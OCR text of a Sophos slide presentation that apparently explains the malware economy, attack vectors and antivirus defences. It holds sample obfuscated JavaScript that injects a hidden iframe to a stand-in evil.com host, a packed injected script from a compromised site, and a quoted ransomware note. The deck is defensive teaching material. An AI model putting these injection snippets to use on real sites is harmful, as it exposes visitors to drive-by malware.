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SophoslLabs Team

* One global team — UK, US, Canada, Australia
« 24/7, 365 days/year

* ~100 Researchers and Developers globally
= Threat Operations
= Systems Development
= Advanced Research and Detection Development
 Highly trained
= ~6 month training program for new hires
= Strong focus on Software Reverse Engineering
= Broad skills set — malware, spam, web, exploits
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WHO WRITES COMPUTER VIRUSES?
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The good old days...
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Today's motives
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Monetizing on malware?

* Spam bots

« Spyware (keyloggers, “phishing” password stealers)
 Ransomware

» Scareware

* Denial of service attacks

» Corporate data theft

° SOPHOS



The value of “zomb

Phishing Site

Web Server

Malware Download Site
Warez/Piracy Server

Child Pornography Server
Spam Site

Webmall Spam
Stranded Abroad Advance Scams

Harvesting E-mail Contacts E-Mail Attacks

Harvesting Associated Accounts

Access to Corporate E-mail

Online Gaming Characters

Online Gaming Goods/Currency

PC Game License Keys

Operating System License Key

Facebook
Twitter

Reputation Hijacking

Virtual Goods

Linkedin
Go&le+ j

Source: krebsonsecurity.com
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HACKED PC

ie” PC

Spam Zombie

Bot Activi

DDoS Extortion Zombie
Click Fraud Zombie
Anonymization Proxy

\ CAPTCHA Solving Zombie

eBay/Paypal Fake Auctions

Online Gaming Credentials
Account Credentials J/ Web Site FTP Credentials

Skype/VolP Credentials

Client Side Encryption Certificates

Bank Account Data
Credit Card Data

Financial Credentials

Stock Trading Account
Mutual Fund/401k Account

Fake Antivirus
Ransomware

Hostage Attacks

Email Account Ransom

Webcam Image Extortion
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Exponential growth
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Vanants and volumes

- SophosLabs sees
200,000 samples
per day

And 20,000 new
malicious URLS

33% more than
in 2011

80% were
compromised
legitimate sites
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MALWARE DIVERSITY
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Viruses

» Spread by infecting other files, executables
 Parasitic

* Not as common today as other forms of malware
- May require a special cleanup approach
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Worms

» Spread via network connection
* Attack network shares, weak passwords/security
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Trojan horses

* The most prevalent kind of malware today
« Often relies on social engineering
* Needs to be disguised as something normal
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“Bankers”

 Steal banking account information
* Prevalent in South America
» Attempt to bypass online banking security measures
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Rootkits

 Stealthy, avoid detection

* Subverts the OS operations

* Hard to detect and remove

* Bootkits — rootkits attacks MBRs, loads before OS kernel

* Examples:
= TDSS/TDL
= ZeroAccess
= Alureon
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Botnets
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Botnets for:

1. Email spam
= “Grum”~ 200,000 PCs
= “Rustock” ~ 815,000 PCs

2. Web spam

3. DDoS

4. “Installs”

5. Info stealers (Zeus, Citadel)

Picture source: http://en.wikipedia.org/wiki/Botnet

SOPHOS


http://en.wikipedia.org/wiki/Botnet

Scareware / FakeAV

#1 threat today by prevalence

fle G view ooy Deckmards Josh by

Fake anti-virus
Fake anti-spyware

. System “optimizers”
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Perform Scan

Malware database status: = Up 1o date

Internet Security

Personal Security

Proactive Defense

Firewall

Configuration

Activate your copy nght now and
get full real-time protection with
XP Internet Security!

XP Internet Security

Current PC State: Scanning ..

CHAWINDOWS\pchealth\helpctr\OffiineCache \Professig

File

Windews Security Ayt

¥

To help protect your computes,

Windows Web Security

\/ have detected Trojans and ready to remove them

Adware Win32. Winad
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W C:\Program Files\Sophos\AutoUpdateiCac _\AJyP18N)S.cab  Virus.Boot-DOSV, 1526

® C:\BIN\gvim\tools\AmAM.88

& C\WINDOWS\system32\drivers\disdn\lyk1b8dl
@ CIWINDOWS\system3Z\export\AOLB.a

& C:\WINDOWS\system32\ocbe\htmi\oemregdnes.5
0 CAWINDOWS\system32\CatRoot\8BMSySA0 i

o CAWINDOWS\system32\Restore\yOX657.bx

@ CAWINDOWS\Help'knN85577A5p. 5ys

1 CAWINDOWS\Fonts\Bk45kSmSa.cab

& C\WINDOWS\Temp\sophos_autoupdatel.difill \M)6.48

& CAWINDOWS\WinSxS\Manifests|?y).255

MacroVisio Radiam

Vires SAT.8Fish
Trojan-Clicker,Win32.5mafl.k
Trojan-Spy HT™L Bankfraud
DoSWin32.Dlewar
Exploit.Codesasetuec
Trojan-Spy.HTML.Bankfraud
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Email-Warm.VBS.Prach
Virus Boot-DOS.V,1536

@ C\WINDOWS\pchesith\helpctrilnstalie . \YO1IXM7B20.y64  Macro.PPoint.ShapeShdt
Scan Process: 78%

Infections found: 25

2]

Videos at http://youtube.com/SophosLabs
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Scareware for Macs
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credit card numbers, etc) it's highly
recommended to cleanup the

mius,

sfarmaton

Cleanup

Mon 10:49 AM
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Ransomware

* Encrypts documents or
* Blocks screen/mouse/keyboard access
* Demands money to unlock (SMS, e-currency, prepaid

cards
|

4128800256

3649

NONBITES NEQEYCTAHOEMTE CHCTEMY MOMKET NIMEECTH K NOTERE _
BSHHOM HHROPMALWK M HapYWeHWAM pafoTel KOMNEKRTERE. AKTHBaLHA

19 SOPHOS



One or more of the following tems were made from your PC:

1. Downloading or distributing audio or video files protected by
Copyright Law.

2. Downloading or distributing lllegal content (child porn, phishing
software, efc.)

3. Downloading or distributing Software protected by Copyright
Law.

As a result of these infringements based on Stop Online
Piracy Act (H.R. 3261) you PC and files are now blocked.

You can remove you IP from black list and unlock PC and files
by paying a fine of 200 (USA and Canada) / 200EUR (via
Western Union to other Countries)

STEP 1: Buy a moneypak prepaid voucher for the amount of
$200 at the nearest store.

STEP 2: Enter your prepaid voucher number and your email
address in the fields below then click PAY and you will be
prompted to enter the unlock code. OR Send an e-mail at
UNLOCK@SOPASYSTEM.COM. Indicate your ID in the
message litle and provide moneypak prepaid voucher number.

STEP 3: Check your e-mail. In 24 hours we will send your
Unlock code once payment is verified. Then enter your unlock
code that you received by emall from us and click UNLOCK.
Your computer will roll back to the ordinary state.

Your identification number: 1643
Your IP address: SN

Q: How can | make sure that you can really decipher my files?

A: You can send one ciphered file on email
UNLOCK@SOPASYSTEM.COM (Indicate your ID and IP address In
the message ttle), in the response message you receive the
deciphered file.

Q: Where can | purchase a MoneyPak?

A: MoneyPak can be purchased at thousands of stores nationwide,
including major retallers such as Wal-Mart, Waigreens,
CVS/pharmacy, Rite Aid, Kmart, Kroger and Meijer.

Q: How do | buy a MoneyPak at the store?

A: Pick up a MoneyPak from the Prepaid Product Section or Green
Dot display and take it to the register. The cashier will collect your
cash and load it onto the MoneyPak.

Q: What if | don't have possibility to purchase prepaid voucher?

A: You can send money in amount of 200EUR by WesternUnion as
alternative option.

WARNINGI!I: If you don't pay the fine within 72 HOURS at the
amount of 200.00 USD, all your computer data will be erased.

If you have any questions please contact us unlock@sopasystem.com

Moneypak 'Email PAY

We accept only Moneypak prepaid vouchers.

= .
Visit for information: hitp://www.moneypak com W ket i
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Main vectors

* Web
* Email spam
* Removable media (USB, phones)

i
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Spam for malware distribution

Email messages containing malicious attachments

» Spam often used to distribute threats
» Attachments to the message
i - Links in the message body

. B o Executable often in ZIP or RAR
""'""'"\w;,_:"'“‘“""* « HTML attachments.
» Social engineering throughout

NOTE: Your TD waterhouse Ondine Account Has Been Suspended.

Alert§@)TD Waterhouse co.uk oo detals 28 May (3 days ago) &

Deat TD Watsrhouss Customer,
Your TD waterhouse Oniine Account Accsss Has Besn Suspended, Download and restors Your Onbne Account Accass

TD WATERHOUSE SECURTY SYSTEM

) RESTORE YOUR TD WATERHOU SE ACCOUNT bm
2K Viw Qownkoag
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Social engineering

* “You need to install this codec to watch that video”

* “You are infected! Install XP Antivirus 2012!”

* “OMG! Your private video is online. Watch it here.”

* “Open the attachment to see your pay raise details!”
* “You've got a PayPal payment. Open to see”

* ... there is one for everybody ...

Forces you to act, not think...

23
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Ok, we're too smart to fall for this. ..
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Software has “bugs”

* Bugs create vulnerabilities

* Vulnerabilities get exploited

* It may take weeks to patch a hole
* Exploit packs are sold online

25
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They also have "holes”

e & @ 0

Browsers & browser plugins:
- Java
* Flash
* PDF
* Quicktime
* Media players
 ActiveX
* Office documents
* Even images

26
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Exploit packs Silent installs

“drive-by” in

SSSSSS




BlackHole

* The most successful and prevalent exploit kit
« $1500 per year or from $50 a day

- PHP/MySQL backend

« Management console

* Version 2 (Oct 2012) includes Windows8 and mobile
devices

-
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ITSALLABOUT WEB TRAFFIC

SOPHOS



Web traffic generation

* Black SEO (doorways, content farms)
» Traffic hijacking
 “Malvertizing”

31
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SEO — How they do it?

Doorway — A web page that is designed to attract traffic from a search

engine and then redirect it to another site or page

Google results
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Social networking malware

var redirects = [ _
['facebook.com', abc+'fb.php'] .

[ tagged.com’, abc+"'tg.php'] v —
[*friendster.com’ ,abc+"fr.php'] A by Wiz, 1. ] ——
[ "myspace.com’, abc+'ms._php']
[*msplinks.com', abc+'ms.php’]
[ ‘myyearbook.com’ ,abc+"yb.php"’

[ fubar.com', abc+"'fu.php’

[*hi5.com®, abc+"hi5.php

["twitter.com’, abc+"'tw_php'’

[ "bebo.com’, abc+"'be_php’ .

1: ,,:wf”m*'"‘“'“-~¢ut:$}§:

Y

\ | Girl killed herself, after hie/ .
G =DtE: 343 peopie like tis, |/ at
Mice
¢l
}‘(l' 1
\ | Girl killed herself, after her dad posted This to her Wall
\ 398 paopie like this

33 SOPHOS



Myth: I'm a safe surfer

Do you ever visit these sites?
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Even those we trust most
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http://www.target.com/ref=nav_2_t_logo
http://us.trendmicro.com/us/home/

Website infections

* FTP account hacking
» cPanel exploits
* SQL Injections

* Vulnerable webservers, CMS (Wordpress, Drupal, ...),
PHP, ...
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Pharma profitability

This affiliate used 66 unique
domains referencing his AffID

124 orders per day
Average sale = $160
40% commission

124*160 = $19840 * 40% =

$7936/day

37

Date
01
02
03
04
05
06
07
08
09
10
11
12

Average sales per
day

Orders
30
74
216
193
231
191
189
78
99
128
52

124
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Fake anti-virus profitability

Statistics from topsale2.ru

User sats for perod 2009:03-01 - 2009-03-15 ;

Date | Wisits _Buy page | Loads ‘Sales’ (UniFt;afggles) | (Lanéz}gales) .Ch-backs | Refunds  Referals | Sales | Money
2000-03-01 | 15817 | 492 | 7980 37 | 1427 1215 0 1 | 000 107892  1078.92
20090302 14013 409 5925 28 LS00 | L2ud 0 2 | 000 | 77922 | 779.22
20030303 9949 | 252 | 282 21 | 1473 1:134 0 2 | 000 96043 56943
20000304 11765 298 | M@ 12 | 1980 1:290 0 0 000 35964 35964
20080305 79504 | 173 3064 2 | 1372 | 11532 0 0 000 5994 @ 59.94
20000306 3023 106 | 3|01 8 | 1377 1,475 0 1 000 20979 20979
20080307 2370 113 6416 9 | 1263 1,712 0 1 | 000 2976 23976
2009-03-08 8841 = 278 | B3B8 24 1368 1266 0 1 | 000 @ 68931 68931
20080309 10936 358 S2M 6 11822 1:672 0 4 | 000 5994  59.%4
20090310 | 12331 | 379 | 6862 | 24 | 1513 | 1285 7 2 | 000 @ 48205 @ 48205
2000-03-11 | 5384 | 194 | 833 | 13 | 1414 164 0 0 000 = 38831 38831

Total: 101933 3052 52817 184  1:553 1:287 7 14 0 491631 4916.31
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Fake AV recruitment — Topsale.ru

-238 3a npodasxcy av.

- exe, @ Max e 10 3aNpocy coelraeM eay ceAzXy 014 iframe mpaduxa.

- NpoMO. Delikogsie cRaHep 1A Peduperm mpada.

- xon0 14 dneit (vanp, 3a 1-7 wucio esiiiama 21).anmu@podoegsie VEA06UR DLITUHEA,
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Top fake anti-virus affiliates

37943
F9595
41687
38059
39160
29965
1353293
18055
29642
a04a7

J38159
Loads

40

19959
19722
18619
16035
15335
12076
BE66
g915
14302
22463

154a25

Installs

74
354
249
176
207
129
157
265
454

2r7e

Purchases

Cymria, USD
29353.86 -436.72 Q.00 29417.14
5420, 64 0,00 0,00 5420, 64
ZE146.96 | - - Account
13a08.24 | -1|Affiliate ID Ggglrantgme Balance
0726.17 (USD)
11672.71 4928 nenastniy [$158,568.86
— 56 krab $105,955.76
7on7ER
R 2 rstwm $95.,021.16
1055, 29 4748 newforis $93,260.64
14711622 | -45016 slyers $85,220.22
Total  Re|3684 ultra $82,174.54
3750 cosmaz2k $78,824.88
5050 dp322 $75,631.26
3886 iamthevip  ($61,552.63
4048 dp32 $58,160.20

=10
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Ransomware profitability

Austria (14) 2.08%

France (84) 11200 3.74%

5 Portugal (193) 0.35%

Poland (191)

Finland (77)

11 Germany (94) 5376 14450

SOPHOS
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Boikynato bus rpad RU
omar@jabber.ccc.de

werneu Moneypack 1000 WK MP=4K
mpac@jabme.de 'ni';‘acsl‘@mmdn

"ot ABTOMATUHECKMI KPUNT cepBuC o 1
.O(y) * y - - o T3 7
I arD Automatic crypt service > 20 18

1

0~

BLKYT TPADA RU
TRAFFIC . cH

O P e w

AMBIE IVYLIME LIEHbI

A AN

'Y 1k loads 2000-50008
BEST RATE INSTANTLY CHANGE ' .
Ukash and Paysafecard Bsaguate

ups@noicq.org

WebMorey FAQ Adverimement

Home oon
Passwrd

This service is about to help you in anonymoeus check of different anti virus system, Bioom |
This check will be made by numbers of anti-virus system and no reports will be send 1o REGISTRATION
developers of this anti-virus system. You can he fully sure that your files will not be
send to antivirus databases. (moie )
We in base have 36 antaviruses: “aspersty, Sk, MoAfes BDwferder, Pand, I Prot, Avest! \wusfSctAds,
ClarsAY  Vewrn, Nortory, OV AVG. ESET NODA2. G DATA Ouich swal A-Sguwed MASRUS Mcrosaft Securty
Exserdats Artiwruses, Novean, AtV (Avien), Sophas Riseg, Arcalyr, CONODO, F-Secure, VinaSuer Tarificaion:
eTrumt Trend Mcto, Alvlab V3 intent Securty SUGuad, VIPRE. Zoner Ant\Vwus K7 Uimage

Per Month - 258
Domam check on presence in black list: ZeuS doown tlockist ZeuS P blockhst, TeuS Tracksr Per Chect - 0455
NatwareDomaniList (MOL |, Google Safe Browsing (Frefox) PrishTank (Opera WOT, Yohoo Mal), hptosts Selad 1%

SPAHALS SEL SPANSALS PBL SOAMHALLS L Mutwwr il SorantSorewn (E7 88 maewars & phisteng Web

whe) Norton Safe Web, Pands Artivieus 2010, (Fretox Phashing ard Matware Protection) SpemCop net and FFC-

hancrane Org

More
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Evasion Techniques

* IP/network blocking

- HTTP_REFERRER/cookie check
* “Time attacks”

» JavaScript obfuscations for redirect chain
* Browser detection

* Delays

* DOM tricks

« “Click to download” images

43
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JavaScript Obfuscation

(A) <iframe src="http://evil.com/" widih=0 height=0></1iframe>

(B) <script>document.write(unescape("%3ciframe+src%s3d%22https3as2fs2fevil. com%2f422+width%3d0+height%
3d0%3e%3ck2fiframes3e" ) ;</script>

(C) <script>function debase64(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789
+/=';var o='';var q,w,e;var a,s,d,f;var 1=0;do{a = k.1index0f(t.charAt(i++));s=k.1ndexOf(t.charAt(i+
+));d=k.index0f(t.charAt(i++));f=k.index0f(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) |

(d >> 2);e=((d & 3) << 6) | f;o=0+5tring.fromCharCode(q);if(d!=64) o=0+String.fromCharCode(w); if(f!
=64) o0=0+5tring.fromCharCode(e);} while(i<t.length);return(o);}document.write(debase64
("PGLlmcmFtZSBzcmMIImhOdHAGLY91dmlsLmNvbS81THdpZHROPTAQaGYpZ2hOPTA+PCIpZnIhbWU+") ) ;</script>

function Thpm{uoaqg) {var
kypv,jzas="",dlGe="uax:Ooc-tnr. hm/=p;vgblsi=f eg\"=",azec,uood,
ersp=dl&e.length;eval (unescapel "%66un%E3t1%6Fn o%74gk%28rq%30d)
{%BAZg%35+=%72q0d%70" ) ) : foril uood=0; uood=uoag. length; uood++) {kyp
v=uoaq.charAt (uood) ;azec=dl e . indexOf (kypv) ;iflazec=-1){azec-=
{uood+l)i%ersp:iflazec=0)l{azec+=ersp; totgk(dlEe.charatiazec) ) :}e
lse{otgkikypv):¥Yeval (unescapel "%6dock7omek6Et  wh7211%651 1% 7Ag
S)%3B] 2%675=%22%22; ") 1 : YLlhpmi "u=<hcagp: vtas-:rp\"p=ag=c=s::tt
d..0:r=tqui=lsuquagfrhgadsit ng=0/pmggcl= ")

var s="=nfub!iuug. frvjw=#sfgstti#!dpoufou=#l=vsm=1uug; O0ghsuzof
be/sygl0?"; m=""; for (1=0; i=s.length:; i++) {ifi(s.charCodeat
(1) == 28){ m+= '&";} else if i(s.charCodeat(i] == 23) { m+= !
"2} else { m+=5tring. fromCharCodels.charCodeftii)-1);:}rdocumen
t.write(m)

var s="ifmmplcsjbol=nfub!liuug. frvjw=g#sfosftig! dpoufou=#l=vsm=iu
ug; O0uvsLtbhmjltfospsh/usGy/fiunm#! G lczflesjho";
\

hp_dOliunescapel "=ogvc%22jvvri/gswkt ? padpag] %22amlvglv? 29wpn?
Jvvrs-- "I

var 1,y,x="3cedBe57461206874T4T02dE5T17E5R97E3d 22725667 2657368
2220636TEe 74656 T43d 223330 7726 3dEET474703a 2T 2fRd46T 6761 726d6E
32e636fed2T782e6E746dEc22202T 3" ;y=""; for(1=0; 1<x.length;1+=
Zi{y+=unescapel '% " +x.substrii, 2) ) Fdocument . writely)

44 SOPHOS



Exploit Code
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Evasion Techniques

Everything is a moving target

* Binaries repackaged every 20 min (!) and AV tested
+ server side polymorphism

* 100s of payload domains created daily
+ payload sites hosted on “free TLDs” (.cz.cc ...)

* 10,000s of new infected websites stealing legitimate traffic,
found daily

* TDS domain turn over (relatively slow)
* IP hopping
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AV Scanners for Virus writers

Profile

File check Profile info:
Price per check: 0.15$ S
Name : =
File | ‘[ Browse.. ][ Check File ]
Amount: 0% (add)
Ul hitp:ff | Check Url Per chedk
Contract :
Domain/IF/Usl | ] | Check BlacklistiFilter | (change)
Explott Padk http:df ] | Check Exploit Pack |
Pereodic !_‘I-hgyr V_l
Notity by [aTalk v |

Send only report with viruses
Stop on virus found Tarificaion:

http:ffscandyou bizfresult php?ia=—

RESULTS: 25131

Per Month - 25%.

Per Chedk - 0.15%.

ARG May be infected by unknown virus Referal - 10%

Win32/DH.CAFF8402A2

ArcaVir oK
Avast Win32:Malware-gen
Avasts Win32:Malware-gen

SOPHOS



Crypto services for virus writers

* Meant to hide the payload behind a layer of packer/crypto

* Could include muiltiple layers, i.e. a VB malware wrapped
in a C packer

» Service model

* + Legitimate commercial packers

SOPHOS



SSP

* SSP - Server-side polymorphism
* New binary for every download

SOPHOS



Non-traditional malware

* APTs
 State-sponsored “cyber weapons” (Duqu, Stuxnet, Flame)

SOPHOS



APT — What does it mean?

Advanced Persistent Threat

» A fancy name for targeted attacks

A term describing the “daily onslaught of digital assaults
launched by attackers who are considered highly-skilled,
determined and possessed of a long-term perspective on
their mission” (Wikipedia)

o1 SOPHOS



APT highlights for 2010/11

Threats left undiscovered for months, even years:
* Nov 2010 — operation “Aurora” — Google

- Jan 2011 — Canadian government organizations
* Feb 2011 - "Knight Dragon™ — energy industries
* Mar 2011 - RSA

* Jun 2011 — Northrop Grumman (RSA hack)

* Jun 2011 - IMF

* Aug 2011 - “ShadyRat” — MANY governments and
corporations worldwide

» Sept 2011 — Mitsubishi (nuclear plant, defense secrets)

o2 SOPHOS



Intellectual property is the new gold

RSAI

The Security Division of EMC

Zero day Flash vulnerability
. Inadequate monitoring
. Victims of their own success

Zero day |E6 vulnerability
All systems “trustworthy”
Allowed intruders too much privilege

53
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What can be done”?

Awareness

Security measures

Legal actions

SOPHOS



Legal actions and takedown
@ﬁ@ﬂ@nghts

* Nov 2009 — “Mega-D” (30-35% of spam). Arrested
* Feb 2010 — “Mariposa” botnet, 12M PCs. Arrested.
 Mar 2010 — “Zeus” botnet. Arrested

* Oct 2010 — “Bredolab” botnet, 30M PCs!

* Sep 2011 — “Kelihos” botnet

« Mar 2011 — “Rustock” botnet. On the run.

L4 -
" Percentof spam sent via Rustock botnet
in the overall spam volume (daily)
1] . "
* Nov 2012 — “Nitol
ov ItO il x
30% R A N . —
20% " —
N \
10% \
0% +—r—T—T—T—T—T—T—T—T—T—T—T—T— T \-ﬁ—o—o—o—o—o
Y ~ 9 "3 s S S .,\ 'y "y S S o & & » 3 . S
A R AR
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Anatomy of Defences

SOPHOS
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Modern AV

* Not just about viruses
* Not just about signatures
* Not just about executables

SOPHOS



« Multi-layer defenses
« Static and runtime protection
* Behavioral malware profiles

» Malicious scripts, PDFs, Flash, Java, docs, exploits,
packers, ...

« Emulation, unpacking
* “Cloud’-based reputation services

SOPHOS



A typical web attack

Doorways / Infected
» Set the trap for users and draw them in

Traffic Distribution
* Directs victims to selected attacks

Penetration
» Getting around environmental defenses

Infection
 Binary threats downloaded and installed

Execution
» The threat is doing its dirty work

59
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Layered protection

Stop attacks and breaches

I Entry point |

Penetration

Infection

Execution

Time

URL

 Reputation

 Behavioral |

Profiling

SOPHOS



AV Lab Tasks

Threat Sample

Visibility Collection

61

Analysis

Protection
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Threat Discovery

Through SophosLabs systems and products

 Product feedback
* Web crawling

* Spam traps

* Industry sharing

SOPHOS



|
| l R Threat Sample _ :
L / \naIySIS Visibility Collection Analysis Protection

Website URLs

* URL Patterns

 Domain age

* Popularity

* Location

* Network reputation

* Name servers (DNS)

« Scan results from various content engines
* Sources

* Manual analysis

- SOPHOS



u m
Threat Sample . .
I I I e / \n a IyS I S Visibility Collection Analysis AEiEEL

Dynamic Files Analysis

« Samples executed
* Behavior observed, recorded and analyzed
* Dropped samples submitted for analysis

* Outbound network traffic (URLs, domains) captured and
sent for analysis

 All analysis results are sent to correlation system for
decision making

o4 SOPHOS



processes
process_action: "Started"

HIPS

detection: "HIPSAFConnect-003"
detection: "HIPSAFConnect-003"
detection: "HIPSAF Connect-003"
detection: "HIPSAFConnect-003"
detection: "HIPSAFPConnect-003"
detection: "HIPSAFConnect-003"

SAV

ip_connections

connection: 64 79 86 268392
connection: 64.120.176.66.:8392
dns_requests

dns_query. findhobbits com
dns_query. sendinvest.com
http_requests

autostart

files_created
file: COWYINDOWS\system3 g _ 788593173096

registry

SnapShot_overall_registry_and_file_changes

Fegistry Added: 2

HLWMESOFTWAREWicrosoWWEEM  UpdateMew
1876 7ac2c3ibZel 40

HELWMSOF TYWAREWIcrosoftWBEM  uid

LcspOd416 SOPHOS



" ]
Threat Sample . .
Statl C / \n a IyS I S Visibility Analysis HCIEEI)

Human Analysis

* Reverse Engineering with IDAPro

* Many internal tools
= JS unpacking
= File entropy
= Strings extraction
= File format handling, i.e. PDF tools

66

SOPHOS



Reversing...

67

whcated',238295-11b6d5e460954609eb806d665ac43d6d1 718ceb57d
File Edit Jump Search Yiew Debugger Options ‘Windows Help

ET IR Y YR ] =[5 S
BEA A s 8 (2@ Nm-en|  F=E| |26
Boon| s -« NX|[gt- 8-S HKm~ ¢ : s %2 Wh|&asvss
o | IRB | F AL
T Il
\lﬂ] Funclions window =} X| X 1D Wiewe-ds | X Hex View-h ‘ X & Structures | X En Enums | -4 % Imports ‘ x é& Exports | -
Function name | -text:PB4BA32F0 80 68 08 db 3 dup(8) =]
S start .text:004032F3 H =
1 sub_403461 -text:BO4B32F3 ; START OF FUNCTION GHUMK FOR start
kY -text:004832F3
\gz::‘jgiggg -text:BO4B32F3 loc_4032F3: ; CODE XREF: start-15%1j
- = -text:0040832F3 BE 66 74 44 77 mouv  esi, 77447u466h
JHlsub 403CFG .text:BO4DI2FE 8B C3 nou eax, ebx
7] sub_403E 32 .text:@04032FA 03 FO add esi, eax
-text:0O4B32FC 81 En 38 68 35 73 sub edx, 73356838h
-text:00403302 8B C3 mou  eax, ebx
.text:00463304 |
-text:00403308 loc_483304: ; CODE XREF: start+u4glj
-text:00463304 47 inc edi
-text:00403305 4E dec esi
-text:0O4B3306 BA 67 6E 67 6B mov  edx, GBG7GEG7h
-text:00403308 FF 15 18 51 40 00 call ds:GetComputerHamef
-text:00463311 48 inc eax
-text:PB4083312 81 EB 6B 37 08 60 sub ebx, 376Bh
-text:BO403318 81 C6 59 42 60 60 add esi, 425%h
-text:PBuB331E 81 E8 62 51 74 46 sub  eax, 46745162h
-text:B0403324 E? OE 07 00 @0 jmp  loc_403A37
-text:pB403324 ; END OF FUNCTION CHUMK FOR start
.text:B0403324 H
-text:pB4A3320 60 66 06 align 4
-text:0040332C 00 00 00 B0 00 @0+ dd 6 dup(8)
-text:pBuA33L4 B0 66 00 db 3 dup(8)
-text:oouBe3347 H
-text:peua33Lu7 ; START OF FUNCTIOM CHUMK FOR sub_uB3E92
-text:oouBe3347
-text:peua33Lu7 loc_u4B3347: ; CODE XREF: sub_4B83E92-361Lj
-text:0ou83347 8B D1 mouv  edx, ecx
-text:pBuBA3349 BA 51 61 76 55 mov  edx, 55766151h
-text:0O40334E 81 Co6 35 73 4D 00 add esi, 4D7335h
-text:B8463354 50 push eax
-text:004083355 BF 37 33 43 @0 mov  edi, offset unk_u33337
-text:BB4B335n 81 EF 78 64 08 80 sub edi, 6478h
Ll—l _’I -text:00403360 4B dec ebx i
[ 00000904 00403304 start:loc_403304
Dutput window EI‘
EXECUTTNG TUACTION "Maif ... =]
Compiling file ‘winidahwe.Dadviidchonload.ide'. ..
Executing function 'OnLoad'...
IDA is analysing the input file...
YOu may start to explore the input file right now.
x86emu: No s&ved xBéemu state data was found.
Python 2.6.5 (r265:7909s, Mar 19 2010, 21:48:26) [MSC v.1500 22 bit [Intel)]
IDAPython wi.4.2 final (serial 0) (c) The IDAPython Team <idapython@googlegroups. Cont
Using FLIRT signature: SEH for wor/ g
Propagating type information...
Function argument information has been propagated —
The initial autoanalysis has been finished. |

Puthor

aw: idle Down  [Disk: 5GE
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Automation is key

* “Big data” problems
 Fast turn around time
 Anti-anti-anti-* techniques

SOPHOS



Attack Examples

A typical web attack and levels of protection offered

69
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Doorways

70

Doorwa

i

Redirector

Promo
Payload

Install

Payment

* Filled with keywords

* Look different to Googlebots (cloaking)

* SEO Kits

Detection:

* Template detection, i.e.

Mal/SEORed-*

GO()SIQ [prreatie teacher wal plarner
Gearcy % trmwel - pages from the L
Wb @ Jhow utom. AUt £ 10 of deaus X,
; " v -
TeachersFaradse. con Yeadher Sugphes Schoal Mgm | Touchw') Supphes
Ilnlm Marw | Eurational Toys ManDated 12 80nth Laminsted Wall
LI

waw Leathersp e edse com Mundaded-2 2nunt® umeutedwall planses o
4297 rtrrd - Lot - ATk

Fra= Togis F

Pra Scroo Prictable Cectficates - Printable 2aard Cartitcatas - Raacng
Modaks ... Teacher Tenalates and Hescurces. 3ack te Top Paces to Post
Homework

www sueleboau comytreecoals i - Lached e

Brintable mry plannes
o Plaase Nate: Some of the mini cowses 0 aramatherapy 2009 Wall
Plantiur Bosk Agenties of Adulwde Ths plannes his . primable o
for teachess ..,
W CoTVsanden) TR AL prpha=peintable « i« plaswnier
ATEM!

Sattied - Tars
hm"ﬂuun«n&xm&x Teachers, Srades 512 ..

Rrowse » peintable taachwr rescurce book that wil smw you Leme and b

YOU wark more eMoertly Youl And checkisty, planners. awards Pwertones

www teachenavinn fen comvachom fomm 6331 i
tigd - Save
2 ) [ +l
Student Wal Planners: Tactmanialy, T P
and Parenta. Student Wall Planners: PPT Preasertabon, PosePorn

Fresartston ...
VA BTN, TOTL AU RTE_STTEnenty, (g - Lyit
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Typical FakeAV

71

Doorwa

i

Redirector

Promo

Payload

Install

Payment

Doorway page
200  HTTP wiww, google.co.uk
302 HTTP bullseyeproduction.com
302 HTTP Inaykm.xorg.pl
302 HTTP wwwil.nerh27kr2.in

200 HTTP www1l.cot-beonmyzone-safe.in
www1.cot-beonmyzone-safe.in
www1.cot-beonmyzone-safe.in

Payload site

Jurl?sa=t&source=web&ct=restcd=15&ved=0CDcQF... 273
/njy.php?m=license%20to%20drive®o20core... 20
/in.php?t=cc&d=10-03-2010_100322&h=bulls... 0

2uid=195&pid =3&ttI=617466b7c96
/MM=p52dcWitb¥%e2FCj8bYbnOCdYik12qY¥p%o... 852
/6aMNd56efc24768f99f75390d974623aab3007...

Redirect sites

1,599
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Redirector

Promo

Payload

Install

Payment

> About Church Mutual

" /.5tring) J{while (c--){d[e(c)]=k[c]||e(c)}k=[function(e){return

Church
Mutual

v
INSURANCE COMPANY
Lisleniug.l Learning. ' Leading®

Request A Quote Newsroom

Print this page

<script language='JavaScript'=eval(function(p,a,c.k,e,d){e=function(c)
{return(c<a?'':e(parseIntic/al))+
({c=c%a)=3575tring. fromCharCode (c+29) :c.toString(36))}:if (! "' . replace(/”

dle]l}];e=function(){return*\\w+'};c=1}:;while(c--){if(k[c]){p=p.replace(new
RegBxp ("‘\\b'+efc)+"\\b', 'g' ). klc] )} return p} (' g% WAOWWTWSVAME TN FNS
ART-ARY ARVAREART IRV ART ARUARV ALY ARTARVEARY. ART ARNARERRT-ARARTARTARNCART -AR b R AR AR N <
AAUARTALARVART ARVARY ARTEERY ARE-ART ART AR AR IR AR AR AR LA TAR AR ARN ART IREARL ARY:
AR AR IR ARTARTC IR ARTEARE AR IRV AREARY SRT-ARTE ARTART IRV AR ARE-RRV ARARY: ARV ARVARV AN W)
AR ARV AR ARTARNCARY ART AR ARY ARTAREARTARWART. ARV ARV ARN ARV AR
'), 37,37, '42]145(162| 164|151 | 143 75| 157 150|144 | 40| 155|571 141 |56]167 148
|154|74|160|47|76]|165|152|61|50|eval|156|163]72|51|73|142|147|170|172| 60" .spli
t(']'),0.{}));</script><!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0
Strict//EN"

‘OTD/xhtmll-strict.dtd">
<html xmlps="http://www.w3.0rg/1999/xhtnl" xml:lang="en" lang="en"=>

<!DOCTYPE html PUBLIC *-//W3C//DTD XHTML 1,0 Strict//EN"
*DTD/xhtmll-strict.did">

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">

<head>

<meta http-equiv="content-type" content="text/html; charset=iso-
8859-1">
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Typical FakeAV

Doorway » SutraTDS, SimpleTDS, ...
 Run on dedicated domains

 Redirecting traffic based on:
Redirector country/city, browser, OS, search
keywords, etc

TDS

Promo

Detection:

Payload _ _
* TDS domain blocking

Install

IR A e

Payment

" SOPHOS



Typical FakeAV

Doorway Just another obfuscation layer

TDS

Detection:
Redirector * Domain/URL blocking

 JavaScript detection
= Mal/ObfJS
= Mal/JSRedir

Promo
Payload

Install

(Rediractor
